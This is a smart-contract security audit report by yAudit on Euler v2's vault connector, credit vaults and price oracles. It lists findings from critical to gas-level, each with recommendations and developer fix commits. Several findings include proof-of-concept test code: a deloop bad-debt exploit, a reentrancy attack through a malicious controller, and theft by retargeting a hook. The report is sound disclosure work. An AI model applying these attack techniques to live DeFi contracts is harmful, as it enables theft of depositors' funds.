# yAudit Euler v2 Review

**Review Resources:**

- Euler whitepaper
- Euler litepaper
- EVC documentation
- EVC playground
- Access to a linear.app project containing the specs of the contracts
- Multiple articles and additional documentation

**Auditors:**

- adriro
- Invader-tak
- HHK

## Table of Contents

## Review Summary

**Euler v2**

The Euler v2 (EVK) system is a robust platform that facilitates the construction of credit vaults. These credit vaults, unlike typical ERC-4626 vaults, are passive lending pools with added borrowing functionality. They earn yield by continuously increasing the amount of their outstanding liability, resulting in yield for the depositors.

Users can borrow from a credit vault if sufficient collateral is deposited in other credit vaults. The liability vault (the one from which the loan was made) decides which credit vaults are acceptable as collateral. Borrowers are charged interest by continuously increasing the amount of their outstanding liability, and this interest results in yield for the depositors.

Vaults are integrated with the Ethereum Vault Connector contract (EVC), which tracks the vaults used as collateral by each account, and Euler price oracles (EPO), which provide the asset pricing necessary for the system to determine the value of user and system collateral and liabilities. If a liquidation is required, the EVC allows a liability vault to withdraw collateral on a user's behalf.

The contracts for the Euler v2's EVC repo, EVK repo, and EPO repo underwent a meticulous review over 30 days. This comprehensive code review was performed by three auditors between March 25th and May 5th, 2024. The repositories were under active development during the review; the review was, however, limited to the following commits:

- `7e1445d45e9189b5132132a6216c146fde9ba794` for the EVC repo.
- `7d2408dc1013b6f3149a5f08a69ded4dc99db7c8` for the EVK repo.
- `416d131f79e66bc54574194ea922bce232ce398c` for the EPO repo.

## Scope

The scope of the review consisted of the following contracts at the specific commit:

- EVC repo:

```
src
├── Errors.sol
├── EthereumVaultConnector.sol
├── Events.sol
├── ExecutionContext.sol
├── Set.sol
├── TransientStorage.sol
├── interfaces
│   ├── IERC1271.sol
│   ├── IEthereumVaultConnector.sol
│   └── IVault.sol
└── utils
    └── EVCUtil.sol
```

- EVK repo:

```
EVault
|   ├── DToken.sol
|   ├── Dispatch.sol
|   ├── EVault.sol
|   ├── IEVault.sol
|   ├── modules
|   |   ├── BalanceForwarder.sol
|   |   ├── Borrowing.sol
|   |   ├── Governance.sol
|   |   ├── Initialize.sol
|   |   ├── Liquidation.sol
|   |   ├── RiskManager.sol
|   |   ├── Token.sol
|   |   └── Vault.sol
|   └── shared
|       ├── AssetTransfers.sol
|       ├── BalanceUtils.sol
|       ├── Base.sol
|       ├── BorrowUtils.sol
|       ├── Cache.sol
|       ├── Constants.sol
|       ├── EVCClient.sol
|       ├── Errors.sol
|       ├── Events.sol
|       ├── LTVUtils.sol
|       ├── LiquidityUtils.sol
|       ├── Storage.sol
|       ├── lib
|       |   ├── ConversionHelpers.sol
|       |   ├── ProxyUtils.sol
|       |   ├── RPow.sol
|       |   ├── RevertBytes.sol
|       |   └── SafeERC20Lib.sol
|       └── types
|           ├── AmountCap.sol
```

```
│           ├── Assets.sol
│           ├── ConfigAmount.sol
│           ├── Flags.sol
│           ├── LTVConfig.sol
│           ├── LTVType.sol
│           ├── Owed.sol
│           ├── Shares.sol
│           ├── Snapshot.sol
│           ├── Types.sol
│           ├── UserStorage.sol
│           ├── VaultCache.sol
│           └── VaultStorage.sol
├── GenericFactory
│   ├── BeaconProxy.sol
│   ├── GenericFactory.sol
│   └── MetaProxyDeployer.sol
├── InterestRateModels
│   ├── IIRM.sol
│   └── IRMLinearKink.sol
├── ProductLines
│   ├── BaseProductLine.sol
│   ├── Core.sol
│   └── Escrow.sol
├── ProtocolConfig
│   ├── IProtocolConfig.sol
│   └── ProtocolConfig.sol
├── Synths
│   ├── ERC20Collateral.sol
│   ├── ESynth.sol
│   ├── EulerSavingsRate.sol
│   ├── IRMSynth.sol
│   └── PegStabilityModule.sol
└── interfaces
  ├── IBalanceTracker.sol
  ├── IPermit2.sol
  └── IPriceOracle.sol
```

- Price oracle repo:

```
src
├── EulerRouter.sol
├── adapter
│   ├── BaseAdapter.sol
│   ├── CrossAdapter.sol
│   ├── chainlink
│   │   ├── AggregatorV3Interface.sol
│   │   └── ChainlinkOracle.sol
│   ├── chronicle
│   │   ├── ChronicleOracle.sol
│   │   └── IChronicle.sol
│   ├── lido
│   │   ├── IStEth.sol
│   │   └── LidoOracle.sol
│   ├── maker
│   │   ├── IPot.sol
│   │   └── SDaiOracle.sol
│   ├── pyth
│   │   └── PythOracle.sol
│   ├── redstone
│   │   └── RedstoneCoreOracle.sol
│   ├── rocketpool
│   │   ├── IReth.sol
│   │   └── RethOracle.sol
│   └── uniswap
│       └── UniswapV3Oracle.sol
├── interfaces
│   └── IPriceOracle.sol
└── lib
  ├── Errors.sol
  ├── Governable.sol
  └── ScaleUtils.sol
```

At the beginning of the audit the following known issues present in the reviewed codebase were disclosed by the Euler team:

- `convertFees()` clears the accumulated fees before using them in the subtraction at line 157. Fixed in `b49869cc9bf14e9b343ca490734195d7494a36c8`.
- SDaiOracle.sol returns a stale exchange rate if `drip()` was not called in the same block. Fixed in PR #30.
- `flashLoan()` sends an incorrect address to the `validateAndCallHook()` function. Fixed in PR #88.

The review was done to identify potential vulnerabilities in the code. While not investigating the team's security practices or operational security, the reviewers assumed that privileged accounts could be trusted. It's important to note that the reviewers did not evaluate the security of the code relative to a standard or specification. Therefore, the review may not have identified all potential attack vectors or areas of vulnerability.

During the review, the auditors presented their findings to the Euler team, which provided commentary and fixed the findings across several PRs.

yAudit and the auditors, committed to transparency, make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, Euler and users of the contracts agree to use the code at their own risk.

## Code Evaluation Matrix

| Category | Mark | Description |
|---|---|---|
| Access Control | Average | While a high degree of due diligence has been taken to ensure that only the appropriate entity has access to functions or that functions cannot be accessed in certain states, several findings pointed to gaps in the latter due to missing function locks or caller validation. |
| Mathematics | Good | Some Minor rounding errors and potential overflows were discovered during the audit, but no potential exploit could be derived from them. |

| Category | Mark | Description |
| --- | --- | --- |
| Complexity | Low | The system demonstrated a high level of complexity in the interaction between EVC and EVK and the design's modularity and partial implementation, akin to object-oriented typed hierarchies, which is an unusual approach in smart contract development. While complex, it is a well-designed system, and the team rigorously adhered to good design principles. |
| Libraries | Average | While leveraging some industry-standard libraries, Euler has notably chosen to develop its own or adapt existing solutions to meet its requirements. |
| Decentralization | Average | By its design, the system has several high-trust components, which ultimately means that the end user needs to trust the governance of a vault or the system as a whole. |
| Code stability | Low | The codebases were under active development during the audit, which resulted in some findings being redundant as they either had been fixed previously or the affected code had been removed from the code base all together. |
| Documentation | Good | Documentation for the repositories was generally good - A lot of resources were provided to the auditors to understand architectural and design choices and requirements. |
| Monitoring | Good | Multiple events are emitted through the protocol life-cycle, providing good coverage of state changes. |
| Testing and verification | Average | The commit that was provided lacked test coverage in several key areas. While this was an area of active development, additional coverage was added during the audit; it was not within the audit's scope to determine whether this additional coverage was deemed sufficient. |

## Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low Impact
  - These findings range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

---

## Critical Findings

### 1. Critical - Missing controller check in `deloop()` allows an attacker to create bad debt using two vaults against each other

The `deloop()` function lacks an account check. In the context of 2 vaults that work as collateral for each other (e.g., Core USDC is accepted as collateral on Core ETH and the opposite), this can result in an attacker being able to steal funds and create bad debt.

#### Technical Details

Actions that affect the liquidity of a vault use the `initOperation()` internal function to defer a vault check and sometimes a controller check on an `account.`

Depending on whether the function can result in a lower health factor for the `account,` the `initOperation()` will be called with either the `account` if true and a controller check is needed or with `CHECKACCOUNT_NONE` if false and no controller check is required.

Functions like `repay()` don't trigger a controller check because the health factor can only increase.

However, inside the `repay()` function there is an internal call to the `pullAssets()` function that creates a check for the `account` the assets are transferred from, in case the assets used to repay someone else's debt were used as collateral by the repayer.

This is not true for the `deloop()` function because it doesn't call the `pullAssets()` function. This means a user can use his balance to reimburse someone else's debt, and no controller check will be performed on either user.

It could become an issue if the user reimbursing used these tokens as collateral somewhere else, as it would reduce his health factor and potentially create bad debt.

Imagine a likely scenario of 2 core vaults, Core ETH and Core USDC; each vault accepts the other one as collateral with an LTV of 80%:

- An attacker creates two wallets and deposits $ 150 into each ($ 300 total).
- Attacker A deposits 150$ on vault ETH and borrows 100$ on vault USDC.
- Attacker B deposits 150$ on vault USDC and borrows 100$ on vault ETH.
- Now, if Attacker B calls `deloop()` on vault ETH and puts attacker A as `debtFrom` he can reduce his collateral to 50$ and erase Attacker A's debt.

This results in Attacker A having 100$ of USDC and 150$ of ETH and Attacker B having 100$ of ETH. Thus, he has a total of 350$ free to move, while he started with 300$.

**Proof of concept**

Replace `setup()` and paste `test_deloopBadDebt()` into borrow.t.sol.

In this example, `borrower` has a borrow position of 8 eTST and 10 eTST2 as collateral, while `borrower2` has a borrow position of 8 eTST2 and ten eTST as collateral. The prices are the same; both have an LTV of 90%.

```
function setUp() public override {
        super.setUp();

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");
        borrower2 = makeAddr("borrower_2");

        // Setup

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST2), unitOfAccount, 1e18);

        eTST.setLTV(address(eTST2), 0.9e4, 0);
        eTST2.setLTV(address(eTST), 0.9e4, 0);

        // Depositor

        startHoax(depositor);

        assetTST.mint(depositor, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(100e18, depositor);

        // Borrower

        startHoax(borrower);

        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(10e18, borrower);

        vm.stopPrank();
    }
```

```
function test_deloopBadDebt() public {
        //setup borrower 1
        startHoax(borrower);

        //borrower has 10 eTST2
        evc.enableCollateral(borrower, address(eTST2));
        evc.enableController(borrower, address(eTST));

        eTST.borrow(8e18, borrower);
        assertEq(assetTST.balanceOf(borrower), 8e18);

        vm.stopPrank();

        //setup borrower 2
        startHoax(borrower2);

        assetTST.mint(borrower2, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(10e18, borrower2);

        //borrower2 has 10 eTST
        evc.enableCollateral(borrower2, address(eTST));
        evc.enableController(borrower2, address(eTST2));

        eTST2.borrow(8e18, borrower2);
        assertEq(assetTST2.balanceOf(borrower2), 8e18);

        //BORROWING STATE
        (uint256 collateralValue, uint256 liabilityValue) =
eTST.accountLiquidity(borrower, false);
        emit log("User 1 state");
        emit log("Collateral:");
        emit log_uint(collateralValue);
        emit log("Liability:");
        emit log_uint(liabilityValue);
```

```
        (collateralValue, liabilityValue) = eTST2.accountLiquidity(borrower2, false);
        emit log("User 2 state");
        emit log("Collateral:");
        emit log_uint(collateralValue);
        emit log("Liability:");
        emit log_uint(liabilityValue);

        //borrower2 deloop for borrower1
        emit log("Exec deloop from user2 on user 1");
        eTST.deloop(8e18, borrower);

        //BORROWING STATE
        (collateralValue, liabilityValue) = eTST.accountLiquidity(borrower, false);
        emit log("User 1 state");
        emit log("Collateral:");
        emit log_uint(collateralValue);
        emit log("Liability:");
        emit log_uint(liabilityValue);
        (collateralValue, liabilityValue) = eTST2.accountLiquidity(borrower2, false);
        emit log("User 2 state");
        emit log("Collateral:");
        emit log_uint(collateralValue);
        emit log("Liability:");
        emit log_uint(liabilityValue);
    }
```

#### Impact

Critical. It is very likely that some core vaults will accept each other as collateral; in this case, an attacker could use `deloop()` to drain them and create bad debt.

#### Recommendation

Modify the `initOperation()` function to check the calling `account`.

#### Developer Response

Fixed in commit 0118010f069dee7d5e76e5bfe1496ca53e065417.

We have taken several steps to ensure that no other similar problems exist in the codebase or can be added in the future. Now, when the tests run in CI, critical internal functions are overridden to perform invariant checks upon each invocation. One of the invariant checks verifies that functions which could decrease user health such as increaseBorrow and decreaseBalance always have the account added to the EVC's list of deferred accounts (and therefore a status check has been scheduled). We are also in the process of improving the fuzz testing suite so that multiple vaults will be created in configurations that would detect this and other issues. Finally, we are working towards an invariant with Certora that will hopefully be able to prove that absent any pricing changes, it is impossible for an account to go from healthy to unhealthy.

## High Findings

### 1. High - EulerSavingsRate can be reentered using a malicious controller to increase the price per share

The EulerSavingsRate contract can be reentered using a malicious controller to increase the price per share. This will allow the attacker to withdraw more than deposited, and if the ESR was used as collateral, it could also allow an attacker to borrow more than should be allowed on an Euler lending market.

#### Technical Details

The EulerSavingsRate allows users holding an eSynth token to receive interest on their tokens; it is similar to products like sDAI, where a user can deposit his DAI tokens to receive interest on them.

The particularity here is that the eSynth token and EulerSavingsRate integrate with the EVC contract. When a user call `deposit()` or `withdraw()` on the EulerSavingsRate vault, the eSynth is transferred which triggers a controller check on the EVC through `requireAccountStatusCheck()`.

Additionally the EulerSavingsRate vault uses an internal accounting to determine the price per share, inside the `totalAssets()` function it uses the `totalAssetsDeposited` variable and the `interestAccrued()` function that returns the interests available for distribution.

The reentrancy attack is made possible by the controller check. When a user deposits in the vault, the eSynth tokens are sent, and the controller check is done before the `totalAssetsDeposited` is updated. An attacker can set a malicious contract as controller, and during the call to it, the controller could call the `gulp()` function.

This function determines how much interest is available to be distributed; it uses the eSynth balance of the contract and subtracts the internal balance from it. However, since the internal balance `totalAssetsDeposited` hasn't been updated yet during the malicious controller's reentrancy, the function will assume that the balance deposited by the attacker can be distributed as interest to depositors over the next two weeks.

The vault then saves the deposited amount twice into the accounting system, once inside the `totalAssetsDeposited` and once as interest to be distributed that will be returned over time by `interestAccrued()`.

The attacker can do this attack and withdraw more than the deposit as soon as one block later; the longer he waits, the more tokens he will earn. Additionally, since the price per share is modified if the EulerSavingsRate is used as collateral on an Euler lending market, the attacker could borrow more than he should.

**Proof of concept**

In the following test, `user2` executes the attack, waits one week, and then withdraws. It can be copy pasted inside ESynthGeneralTest.sol.

```
function test_depositGetInterest() public {
        uint256 amount = 500 ether;
        esynth.setCapacity(address(this), MAX_ALLOWED);
        esynth.mint(user1, amount);
        esynth.mint(user2, amount);

        EulerSavingsRate savings = new EulerSavingsRate(evc, address(esynth), "ESYNTH
SAVING", "ESAVE");
        MaliciousController mc = new MaliciousController(address(savings));

        //user 1 deposit his synth in the saving vault
        vm.startPrank(user1);
        esynth.approve(address(savings), type(uint256).max);
        uint shares = savings.deposit(amount, user1);
        vm.stopPrank();

        //user 2 deposit his synth in the saving vault
        vm.startPrank(user2);
        //set malicious controller
        evc.enableController(user2, address(mc));
        mc.setGulpNextCall();
        //deposit
        esynth.approve(address(savings), type(uint256).max);
        uint shares2 = savings.deposit(amount, user2);
        vm.stopPrank();

        emit log_uint(shares);
        emit log_uint(shares2);

        skip(1 weeks);

        vm.prank(user2);
```

```
        uint received = savings.redeem(shares2, user2, user2);
        emit log("User 2 (malicious) received");
        emit log_uint(received);

        vm.startPrank(user1);
        vm.expectRevert();
        savings.redeem(shares, user1, user1);
        vm.stopPrank();
    }
```

```
contract MaliciousController {

    EulerSavingsRate savings;
    bool gulpNextCall;

    constructor(address s) {
        savings = EulerSavingsRate(s);
    }

    function setGulpNextCall() external {
        gulpNextCall = true;
    }

    function checkAccountStatus(address user, address[] calldata collaterals) external
returns (bytes32 magicValue) {
        if (gulpNextCall) {
            savings.gulp();
            gulpNextCall = false;
        }
        return bytes32(bytes4(0xb168c58f));
    }
```

#### Impact

High. An attacker can steal tokens from other depositors and increase the price per share to borrow more on an Euler lending market.

#### Recommendation

Consider implementing **both** of these suggestions:

- Consider adding a reentrancy lock to the `deposit()` and `gulp()` functions.
- Consider updating the `totalAssetsDeposited` before calling the `super._deposit()` and `super._withdraw()` in `_deposit()` and `_withdraw()` since the call to the controller happens after the eSynth tokens are sent to or from the vault.

#### Developer Response

Fixed in commit ad9c96cc460274 65b0fafc3a97be15d7918adaba.

## Medium Findings

### 1. Medium - Optional calls can be forced to fail by manipulating the gas limit

An attacker can intentionally force the failure of calls that are allowed to revert by abusing EIP-150.

#### Technical Details

When user balances are updated in BalanceUtils.sol, the implementation notifies the balance tracker using an optional callback defined by `tryBalanceTrackerHook()`.

```
119:     function tryBalanceTrackerHook(address account, uint256 newAccountBalance, bool
forfeitRecentReward)
120:         private
121:         returns (bool success)
122:     {
123:         (success,) = address(balanceTracker).call(
124:             abi.encodeCall(IBalanceTracker.balanceTrackerHook, (account,
newAccountBalance, forfeitRecentReward))
125:         );
126:     }
```

The callback is allowed to fail, presumably to prevent disruptions to vault operations. However, a bad actor can force this call to fail by abusing the "1/64 rule," in which a portion of the gas is saved in the calling frame to continue execution. By manipulating the gas limit, an attacker can provide an amount such that the call to the balance tracker fails due to running out of gas. Yet, enough is reserved to allow the calling context to finish the transaction successfully.

Similarly, `computeInterestRate()` uses an optional call to the interest rate model to update the interest rates.

```
094:     function computeInterestRate(VaultCache memory vaultCache) internal virtual
returns (uint256) {
095:         // single sload
096:         address irm = vaultStorage.interestRateModel;
097:         uint256 newInterestRate = vaultStorage.interestRate;
098:
099:         if (irm != address(0)) {
100:             (bool success, bytes memory data) = irm.call(
101:                 abi.encodeCall(
102:                     IIRM.computeInterestRate,
103:                     (address(this), vaultCache.cash.toUint(),
vaultCache.totalBorrows.toAssetsUp().toUint())
104:                 )
105:             );
106:
107:             if (success && data.length >= 32) {
108:                 newInterestRate = abi.decode(data, (uint256));
109:                 if (newInterestRate > MAX_ALLOWED_INTEREST_RATE) newInterestRate =
MAX_ALLOWED_INTEREST_RATE;
110:                 vaultStorage.interestRate = uint72(newInterestRate);
111:             }
112:         }
113:
114:         return newInterestRate;
115:     }
```

The call is allowed to fail, in which case rates are kept as they previously were.

#### Impact

Medium. An attacker can withdraw their balance without notifying the balance tracker of the change. The impact would depend on the nature of the tracker. For example, in the context of a reward, it could imply that the rewarder continues to issue rewards for a non-existent deposit. For the interest rate call, it would allow an attacker to skip the update after vault operations are executed. However, successfully executing this attack would be very difficult due to the low gas requirements of the current IRM implementation. Additionally, the attack can be mitigated by executing any other operation in the vault, such as a simple touch.

#### Recommendation

The attack can be mitigated by checking the amount of gas remaining after the call while maintaining its optionality.

```
uint256 gasBefore = gasleft();
(success,) = address(target).call{gas: gasBefore}(data);
require(gasleft() > gasBefore / 63);
```

#### Developer Response

Fixed in commit 390dc35b8ff99deb21be44716dd7e2c0bc7e2c7e.

### 2. Medium - A malicious governor can steal assets by abusing hooks

The vault forwards the original calldata to the hook target, which would allow cash transfers out of the vault if pointed to the asset itself.

**Technical Details**

Hooks can be used to validate operations. These are triggered when a new operation is executed in the vault:

```
77:     function validateAndCallHook(Flags hookedOps, uint32 operation, address caller)
internal {
78:         if (hookedOps.isNotSet(operation)) return;
79:
80:         address hookTarget = vaultStorage.hookTarget;
81:
82:         if (hookTarget.code.length == 0) revert E_OperationDisabled();
83:
84:         (bool success, bytes memory data) =
hookTarget.call(abi.encodePacked(msg.data, caller));
85:
86:         if (!success) RevertBytes.revertBytes(data);
87:     }
```

As we can see from the previous code snippet, the vault forwards the original calldata from the operation to the hook address. Having control of the target would allow the reproduction of the same messages on arbitrary addresses.

A malicious governor could point the target to the underlying asset and execute the functions associated with the operations from the vault context. In particular, it could hook the transfer operation to steal cash from the vault (as the following test shows).

Proof of concept

```
function test_StealAssetsUsingHooks() public {
    address depositor = makeAddr("depositor");
    address aux = makeAddr("aux");
    address gov = address(this);

    uint256 amount = 1e18;
    assetTST.mint(depositor, amount);
    assetTST.mint(gov, amount);

    vm.startPrank(depositor);

    assetTST.approve(address(eTST), type(uint256).max);
    eTST.deposit(amount, depositor);

    vm.stopPrank();

    assetTST.approve(address(eTST), type(uint256).max);
    eTST.deposit(amount, gov);

    // hack
    eTST.setHookConfig(address(assetTST), OP_TRANSFER);
    eTST.transfer(aux, amount);

    vm.prank(aux);
    eTST.withdraw(amount, aux, aux);

    // vault is empty
    assertEq(assetTST.balanceOf(address(eTST)), 0);
}
```

#### Impact

Medium. The issue would allow theft of funds but requires connivance from governance.

#### Recommendation

A direct mitigation could be to ban the asset address from being set as the hook target. Additionally, the interface could be improved by requiring the hook response to be a specific constant, such as a selector, an interface ID, or any arbitrary value that could be used to avoid retargeting hooks to non-compliant addresses.

#### Developer Response

Fixed in commit 3ad86bb0a50b660108104dae7a52ac9625c14c29.

## Low Findings

### 1. Low - Uninitialized reentrancy state in BaseProductLine.sol

The contract contains a reentrancy lock storage variable that is left uninitialized.

#### Technical Details

The BaseProductLine.sol contract includes a `reentrancyLock` variable that is meant to be used with the values 1 (for unlocked) and 2 (for locked).

```
15:     uint256 constant REENTRANCYLOCK__UNLOCKED = 1;
16:     uint256 constant REENTRANCYLOCK__LOCKED = 2;
```

Since `reentrancyLock` is never initialized with `REENTRANCYLOCK__UNLOCKED` the use of the `nonReentrant()` modifier will always revert:

```
40:     modifier nonReentrant() {
41:         if (reentrancyLock != REENTRANCYLOCK__UNLOCKED) revert E_Reentrancy();
42:
43:         reentrancyLock = REENTRANCYLOCK__LOCKED;
44:         _;
45:         reentrancyLock = REENTRANCYLOCK__UNLOCKED;
46:     }
```

#### Impact

Low. Functions that use this modifier will always revert when called. However, the modifier is currently not used in any function.

#### Recommendation

Initialize `reentrancyLock` or remove the functionality.

#### Developer Response

Fixed in commit 6a4f8be118b331d84343efd0bde6a23f4741a1fc.

### 2. Low - Missing validation in protocol fee receiver

There is a missing check for `address(0)` while overriding the protocol fee receiver in `setVaultFeeConfig()`.

#### Technical Details

While `setFeeReceiver()` checks that the updated value is different from the zero address, this validation is not enforced while overriding the fee receiver at the vault level in `setVaultFeeConfig()`.

#### Impact

Low. `convertFees()` will revert if shares are distributed to the zero address.

#### Recommendation

Check that `feeReceiver_ != address(0)` in `setVaultFeeConfig()`. The check could be skipped when `exists_` is false.

#### Developer Response

Fixed in commit d4f157dab3ded31acc1b77902e7946b8921e3300.

### 3. Low - Gulping in ESR can be bricked with large amounts

The implementation of `gulp()` reverts when the ingested amount exceeds the maximum `uint168` without the possibility of recovery.

#### Technical Details

When gulping new assets, the function checks that the current amount of `interestLeft` plus the new `toGulp` is below the maximum `uint168`.

```
133:         uint256 assetBalance = IERC20(asset()).balanceOf(address(this));
134:         uint256 toGulp = assetBalance - totalAssetsDeposited -
esrSlotCache.interestLeft;
135:
136:         if (toGulp > type(uint168).max - esrSlotCache.interestLeft) revert
E_GulpTooMuch();
137:
138:         esrSlotCache.interestSmearEnd = uint40(block.timestamp + INTEREST_SMEAR);
139:         esrSlotCache.interestLeft += uint168(toGulp);
```

The check is placed because the update in line 139 would otherwise overflow since `ESRSlot.interestLeft` is of type `uint168`.

However, in the improbable case such a scenario happens, this could brick the function since there is no way to recover from it if the distribution of `interestLeft` doesn't provide enough margin to fit `toGulp`, which is also expected to continue growing.

#### Impact

Low. The function could be bricked, but it would require an enormous amount of new distributable assets, which is unlikely.

#### Recommendation

Instead of reverting, limit the amount of `toGulp` to the available margin of `type(uint168).max - esrSlotCache.interestLeft`.

#### Developer Response

Fixed in commit c6bd4565170d2445f1272b3990baa3462d9d4958.

### 4. Low - Pyth feed update fee is not refunded

When requesting a price update, the Pyth oracle forwards all value to `IPyth.updatePriceFeeds()`, which doesn't refund any unused fees.

#### Technical Details

The implementation of the `Pyth.updatePriceFeeds()` function checks that the submitted amount is enough to cover the fees, but doesn't issue any refund if needed.

#### Impact

Low. Excess of fees will be lost.

#### Recommendation

Calculate the proper amount using `IPyth.getUpdateFee()`. The rest can be refunded to the caller or left in the contract for future calls.

#### Developer Response

Fixed in commit 2a088785db6e3d6039ba189251c016377a1b80d7.

### 5. Low - Potential overflow in `getCollateralValue()`

The value of a collateral position is calculated using unchecked math, leading to a potential overflow vulnerability.

#### Technical Details

`getCollateralValue()` applies the LTV factor using `ConfigAmountLib::mul()`, which uses unsafe math.

```
20:     // note assuming arithmetic checks are already performed
21:     function mul(ConfigAmount self, uint256 multiplier) internal pure returns
(uint256) {
22:         unchecked {
23:             return uint256(self.toUint16()) * multiplier / 1e4;
24:         }
25:     }
```

#### Impact

Low. The collateral amount and value would need to be excessively high to trigger the overflow.

#### Recommendation

Don't use unchecked math to perform the calculation.

#### Developer Response

Fixed in commit 14a6fdd8eb80a9e453d2fd6905bcf28bff13914f.

### 6. Low - Potential accounting issue in Cache.sol

The final check in the `Cache.sol::initVaultCache` function checks if both `newTotalShares <= MAX_SANE_AMOUNT` and `newTotalBorrows <= MAX_SANE_DEBT_AMOUNT` are true, but a scenario where newTotalShares exceeds MAX_SANE_AMOUNT but totalBorrows <= MAX_SANE_DEBT_AMOUNT could technically occur.

#### Technical Details

The calculation of newTotalShares could potentially exceed MAX_SANE_AMOUNT - this is protected against in `TypesLib` when the vault converts between assets and shares during deposits:

```
    function toShares(uint256 amount) internal pure returns (Shares) {
        if (amount > MAX_SANE_AMOUNT) revert Errors.E_AmountTooLargeToEncode();
        return Shares.wrap(uint112(amount));
    }
```

But in the `initVaultCache` function, the following could push the totalAssets into excess of MAX_SANE_AMOUNT:

```
    function toShares(uint256 amount) internal pure returns (Shares) {
    if (feeAssets != 0) {
        uint256 newTotalAssets = vaultCache.cash.toUint() + (newTotalBorrows >>
INTERNAL_DEBT_PRECISION);
        newTotalShares = newTotalAssets * newTotalShares / (newTotalAssets - feeAssets);
        newAccumulatedFees += newTotalShares - vaultCache.totalShares.toUint();
    }
```

Because of this, in a scenario where a legitimate borrow would take place, but the newTotalshares got pushed over MAX_SANE_AMOUNT, we would not update the totalBorrows, interestAccumulator, and lastInterestAccumulatorUpdate in the vault, effectively breaking accounting.

#### Impact

Low. The vault's accounting would be broken, but it seems unlikely that this scenario would be possible to create.

#### Recommendation

Remove the `newTotalShares <= MAX_SANE_AMOUNT` check from the first if statement. Consider checking if `newTotalAsset` already is equal to `MAX_SANE_AMOUNT` before adding `feeAssets`, and if `newTotalAssets * newTotalShares / (newTotalAssets - feeAssets) > MAX_SANE_AMOUNT`, set `newTotalShares` to `MAX_SANE_AMOUNT`.

#### Developer Response

Fixed in commit e958523b418cb2de19115de90d9ba96a8126cc1f.

### 7. Low - Redstone oracle payload staleness isn't factored in the defined maximum staleness

Signed payloads from the Redstone oracle include a timestamp, which isn't considered when updating the price, leading to a potentially longer validity period for the fetched price.

#### Technical Details

The Redstone Core model works by injecting signed payloads into the user transaction that queries the feed price. The timestamp included in this payload is validated to be no older than `DEFAULT_MAX_DATA_TIMESTAMP_DELAY_SECONDS` (3 minutes by default).

When prices are updated through `updatePrice()`, `lastUpdatedAt` is updated to the current block timestamp, ignoring any staleness carried by the payload.

Consider the following:

1. User calls `updatePrice()`, including a payload that is 3 minutes old.
2. Contract updates price and sets `lastUpdatedAt = block.timestamp`.
3. Since `_getQuote()` checks `block.timestamp - lastUpdatedAt <= maxStaleness` means that the actual validity period of the stored price will be `maxStaleness + 3 minutes`.

The carried staleness also impacts the frequency at which `updatePrice()` can be called. Due to the check at line 60, this function needs a 3-minute margin before it can be called again. Combined with the inner timestamp, this means locking for 3 minutes, a value up to 3 minutes old.

#### Impact

Low. Oracle staleness can be misinterpreted due to the underlying staleness of the Redstone data. Potentially stale prices are blocked for 3 minutes, which could be problematic during periods of high volatility.

#### Recommendation

We understand that these implementation decisions stem from the difficulties of extracting the inner timestamp from the Redstone data, which their SDK does not provide. We recommend documenting these two details so that consumers know the potential pitfalls.

#### Developer Response

Fixed in commit a89b2a4a89d7806702a27592baad03288c74a633.

## Gas Saving Findings

### 1. Gas - Chronicle Oracle -redundant check

The function call to `readWithAge()` already checks if `value != 0`, making the check in the adaptor redundant.

#### Technical Details

ScribeOptimistic#L356.

Scribe.sol#L247.

It makes the `price == 0` below in ChronicleOracle.sol redundant.

```
    function _getQuote(uint256 inAmount, address _base, address _quote) internal view
override returns (uint256) {
        bool inverse = ScaleUtils.getDirectionOrRevert(_base, base, _quote, quote);

        (uint256 price, uint256 age) = IChronicle(feed).readWithAge();
        if (price == 0) revert Errors.PriceOracle_InvalidAnswer();

        uint256 staleness = block.timestamp - age;
        if (staleness > maxStaleness) revert Errors.PriceOracle_TooStale(staleness,
maxStaleness);

        return ScaleUtils.calcOutAmount(inAmount, price, scale, inverse);
    }
```

#### Impact

Gas savings.

#### Recommendation

Remove the redundant check.

#### Developer Response

Fixed in commit a86eee9a6b08362feb3357d5ad9e708624b22af1.

### 2. Gas - Use unchecked math if there is no overflow risk

There are math operations that can be done unchecked arithmetic for gas savings.

#### Technical Details

- Borrowing.sol#L92
- Borrowing.sol#L101
- Vault.sol#L174
- Vault.sol#L261
- BorrowUtils.sol#L157
- BorrowUtils.sol#L161
- IRMLinearKink.sol#L53, just the subtraction `utilisation - kink`.
- ESynth.sol#L73

- Liquidation.sol#L205

#### Impact

Gas savings.

#### Recommendation

Use unchecked block if there is no overflow or underflow risk for gas savings.

#### Developer Response

Fixed in the following commits:

- `collateralUsed()` was removed in 59a4ac1cf6f90242c73d6cfda12c33cd5f7422fe.
- Vault.sol#L174: 9b970cbda390e228148ea8d2dd9b8561279cc828.
- Vault.sol#L261: 59aa4c4a0ab675794a84b2163a4eafc969b49a15.
- BorrowUtils.sol#L157 and BorrowUtils.sol#L161: 0f121726cced67833755c7443a089e0bec97c64f.
- IRMLinearKink.sol#L53: 5ca69be73652f56a720ddae01606937f18f84c2e.
- ESynth.sol#L73: fb2cb590f28e7b17bcbaf112ffa5cfaecaca1153.
- Liquidation.sol#L205: c1bfbd59be70d99fbb8124d9c1d1edcde6fe89a1.

### 3. Gas - Unchecked blocks don't apply to overloaded operators

Unchecked blocks are used for math operations applied to custom operand types (`Assets`, `Owed`, `Shares`), which do not affect overloaded operators.

#### Technical Details

- BalanceUtils.sol#L51
- BalanceUtils.sol#L77
- BorrowUtils.sol#L57
- BorrowUtils.sol#L82

#### Impact

Gas savings.

#### Recommendation

The unchecked block needs to be moved to the underlying operator implementation.

